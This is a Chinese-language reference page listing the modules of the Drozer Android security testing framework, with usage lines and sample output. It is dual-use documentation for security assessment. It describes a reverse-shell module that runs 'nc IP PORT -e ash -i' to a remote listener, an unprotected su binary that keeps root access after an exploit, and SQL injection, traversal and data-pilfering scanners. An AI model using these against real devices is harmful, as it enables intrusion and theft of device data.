Drozer模块命令大全（二）

目录

模块列表

模块 作用 auxiliary.webcontentresolver 开启web服务来获取content providers exploit.jdwp.check 针对@jdwp-control漏洞 exploit.pilfer.general.apnprovider 获取APN信息 exploit.pilfer.general.settingsprovider 查看系统设置 information.datetime 查看设备时间 information.deviceinfo 获取设备详细信息 information.permissions 列出所有手机应用使用过的权限信息 scanner.activity.browsable 获取可以从浏览器查看的activity scanner.misc.native 列出包含native的包 scanner.misc.readablefiles 查找可被其应用读取的文件 scanner.misc.secretcodes 查找手机暗码 scanner.misc.writablefiles 查找能被其他应用写数据权限的文件 scanner.provider.finduris 查找content providers URI链接 scanner.provider.injection 查找content providers SQL注入 scanner.provider.sqltables 通过SQL注入查找表名 scanner.provider.traversal 查找目录遍历漏洞 shell.exec 执行单条shell命令 shell.send 发送ASH shell到远程监听器 shell.start 进入shell模式 tools.file.download 下载手机上的文件 tools.file.md5sum 获取文件的md5 tools.file.size 获取文件大小 tools.file.upload 从PC上传文件到设备 tools.setup.busybox 安装Busybox tools.setup.minimalsu 安装minimal-su

---

auxiliary.webcontentresolver

usage: run auxiliary.webcontentresolver [-h] [-p PORT]

开启一个web服务，可以和手机上的content provider连接，还可以和sqlmap联合使用。

Examples:
dz> run auxiliary.webcontentresolver –port 8080

WebContentResolver started on port 8080.Ctrl+C to Stop

Last Modified: 2012-11-06
Credit: Nils (@mwrlabs)
License: BSD (3 clause)

optional arguments:

模块 作用 -p PORT, –port PORT 设置web端口

---

exploit.jdwp.check

usage: run exploit.jdwp.check [-h]

这个模块针对一个漏洞，安卓2.3版本可调试的app都会去寻找一个叫@jdwp-control的UNIX套接字。

Examples:
dz> run exploit.jdwp.check
[+] Opened @jdwp-control
[*] Accepting connections

[+] com.mwr.dz connected!
[+] Received PID = 4931
[+] This device is vulnerable!

[+] com.mwr.dz connected!
[+] Received PID = 4940
[+] This device is vulnerable!

Last Modified: 2014-07-29
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

exploit.pilfer.general.apnprovider

usage: run exploit.pilfer.general.apnprovider [-h]

获取APN信息， APN，全写是Access Point Name，即“接入点名称”，是您在通过手机上网时必须配置的一个参数，它决定了您的手机通过哪种接入方式来访问网络。

The target provider is content://telephony/carriers/preferapn

Examples:
dz> run exploit.pilfer.general.apnprovider
_id 1
name T-Mobile US
numeric 310260
mcc 310
mnc 260
apn epc.tmobile.com
… …

Last Modified: 2012-11-06
Credit: Rob (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

exploit.pilfer.general.settingsprovider

usage: run exploit.pilfer.general.settingsprovider [-h]

查看系统设置

Last Modified: 2012-11-06
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

information.datetime

usage: run information.datetime [-h]

查看安卓设备的时间

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

information.deviceinfo

usage: run information.deviceinfo [-h]

获取设备详细信息

Last Modified: 2012-11-06
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

information.permissions

usage: run information.permissions [-h] [–permission PERMISSION] [–protectionlevel PROTECTIONLEVEL]

列出所有手机应用使用过的权限信息。

Examples:
dz> run information.permissions –permission android.permission.INSTALL_PACKAGES
Allows the app to install new or updated Android packages. Malicious apps may use this to add new apps with arbitrarily
powerful permissions.
18 - signature|system

Last Modified: 2014-06-17
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

optional arguments:

模块 作用 –permission PERMISSION 指定权限 –protectionlevel PROTECTIONLEVEL 指定保护等级

---

scanner.activity.browsable

usage: run scanner.activity.browsable [-a] [–package PACKAGE ][-f] [–filter FILTER ]

找出所有可浏览的activity

Package: com.android.contacts
Invocable URIs:
tel://
Classes:
.activities.PeopleActivity
com.android.contacts.NonPhoneActivity

Package: com.android.calendar
Invocable URIs:
http://www.google.com/calendar/event (PATTERN_PREFIX)
Classes:
GoogleCalendarUriIntentFilter

Package: com.android.browser
Invocable URIs:
http://
Classes:
BrowserActivity

Package: com.android.music
Invocable URIs:
http://
content://
Classes:
AudioPreview

Package: com.android.mms
Invocable URIs:
sms://
mms://
Classes:
.ui.ComposeMessageActivity

Last Modified: 2014-10-31
Credit: Tyrone (@mwrlabs)
License: BSD (3-clause)

optional arguments:

模块 作用 -a PACKAGE, –package PACKAGE 指定包名 -f FILTER, –filter FILTER 指定关键词

---

scanner.misc.native

usage: run scanner.misc.native [-h] [-a PACKAGE] [-f FILTER] [-v]

列出包含native的包
注意: 只检查包捆绑的lib文件来判断

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

optional arguments:

模块 作用 -a PACKAGE, –package PACKAGE 指定包名 -f FILTER, –filter FILTER 指定关键词 -v, –verbose 显示未包含的包

---

scanner.misc.readablefiles

usage: run scanner.misc.readablefiles [-h] [-p] target

查找可被其应用读取的文件

Examples:
dz> run scanner.misc.readablefiles /data -p
Discovered world-readable files in /data:
/data/system/packages-stopped.xml
/data/system/packages.list
/data/system/packages.xml
/data/system/uiderrors.txt
……

Last Modified: 2013-04-18
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
target the target directory to search

optional arguments:

模块 作用 -p, –privileged 有root权限

---

scanner.misc.secretcodes

usage: run scanner.misc.secretcodes [-h] [-v]

查找手机暗码，具体参考：
http://blog.csdn.net/huangjuecheng/article/details/7261211?spm=5176.100239.blogcont61513.10.a86Q5r

Last Modified: 2012-11-06
Credit: Mike (@mwrlabs)
License: BSD (3 clause)

optional arguments:

模块 作用 -v, –verbose 显示详细信息

---

scanner.misc.writablefiles

usage: run scanner.misc.writablefiles [-h] [-p] target

查找能被其他应用写数据权限的文件

Examples:
dz> run scanner.misc.writablefiles /data –privileged
Discovered world-writable files in /data:
/data/anr/slow00.txt
/data/anr/slow01.txt
……

Last Modified: 2013-04-18
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
target the target directory to search

optional arguments:

模块 作用 -v, –verbose 显示详细信息

---

scanner.provider.finduris

usage: run scanner.provider.finduris [-h] [-a PACKAGE]

查找content providers URI链接

Examples:
run scanner.provider.finduris

Last Modified: 2012-11-06
Credit: Luander ([e-mail])
License: BSD (3 clause)

optional arguments:

模块 作用 -a PACKAGE, –package PACKAGE 指定包名

---

scanner.provider.injection

usage: run scanner.provider.injection [-h] [-a ]

查找SQL注入

Last Modified: 2012-11-06
Credit: Rob (@mwrlabs)
License: BSD (3 clause)

optional arguments:

模块 作用 -a , –package , –uri 指定包名或者uri

---

scanner.provider.sqltables

usage: run scanner.provider.sqltables [-h] [-a ]

Enumerate SQL tables accessible through SQL (projection) Injection vulnerabilities.

Last Modified: 2013-01-23
Credit: Rijnard
License: BSD (3 clause)

optional arguments:

模块 作用 -a , –package , –uri 指定包名或者uri

---

scanner.provider.traversal

usage: run scanner.provider.traversal [-h] [-a ]

查找目录遍历漏洞

Last Modified: 2012-11-06
Credit: Nils (@mwrlabs)
License: BSD (3 clause)

optional arguments:

模块 作用 -a , –package , –uri 指定包名或者uri

---

shell.exec

usage: run shell.exec [-h] command

执行单条shell命令

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
command the Linux command to execute

optional arguments:
-h, –help

---

shell.send

usage: run shell.send [-h] ip port

发送ASH shell到远程监听器

This module executes nc IP PORT -e ash -i, using BusyBox. This will send an ASH shell to a netcat listener.

Last Modified: 2013-07-25
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

positional arguments:
ip ip address of the remote listener
port port address of the remote listener

optional arguments:
-h, –help

---

shell.start

usage: run shell.start [-h]

进入shell模式

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

tools.file.download

usage: run tools.file.download [-h] source destination

从手机设备下载文件到pc

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
source
destination

optional arguments:
-h, –help

---

tools.file.md5sum

usage: run tools.file.md5sum [-h] target

md5 Checksum of File

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
target

optional arguments:
-h, –help

---

tools.file.size

usage: run tools.file.size [-h] target

获取文件大小

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
target

optional arguments:
-h, –help

---

tools.file.upload

usage: run tools.file.upload [-h] source destination

从PC上传文件到设备

Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)

positional arguments:
source
destination

optional arguments:
-h, –help

---

tools.setup.busybox

usage: run tools.setup.busybox [-h]

安装Busybox

Busybox provides a number of *nix utilities that are missing from Android. Some modules require Busybox to be installed.

Typically, you require root access to the device to install Busybox. drozer can install it from its restrictive context. You can
then use ‘busybox’ in the when executing shell commands from drozer to use it.

Last Modified: 2012-12-12
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help

---

tools.setup.minimalsu

usage: run tools.setup.minimalsu [-h]

Prepares ‘minimal-su’ binary installation files on the device in order to provide access to a root shell on demand.

安装minimal来可以获取暂时的root权限

This binary provides drozer the ability to maintain access to a root shell on the device after obtaining a temporary root shell
via the use of an exploit. Just type su from a shell to get a root shell.

WARNING: This minimal version of the su binary is completely unprotected, meaning that any application on the device can obtain a
root shell without any user prompting.

Examples:
dz> run tools.setup.minimalsu
[*] Uploaded minimal-su
[*] Uploaded install-minimal-su.sh
[*] chmod 770 /data/data/com.mwr.dz/install-minimal-su.sh
[*] Ready! Execute /data/data/com.mwr.dz/install-minimal-su.sh from root context to install su

…insert root exploit here…
u0_a95@android:/data/data/com.mwr.dz # /data/data/com.mwr.dz/install-minimal-su.sh
Done. You can now use su from a shell.
u0_a95@android:/data/data/com.mwr.dz # exit
u0_a95@android:/data/data/com.mwr.dz $ su
u0_a95@android:/data/data/com.mwr.dz #

Last Modified: 2013-12-12
Credit: Tyrone (@mwrlabs)
License: BSD (3 clause)

optional arguments:
-h, –help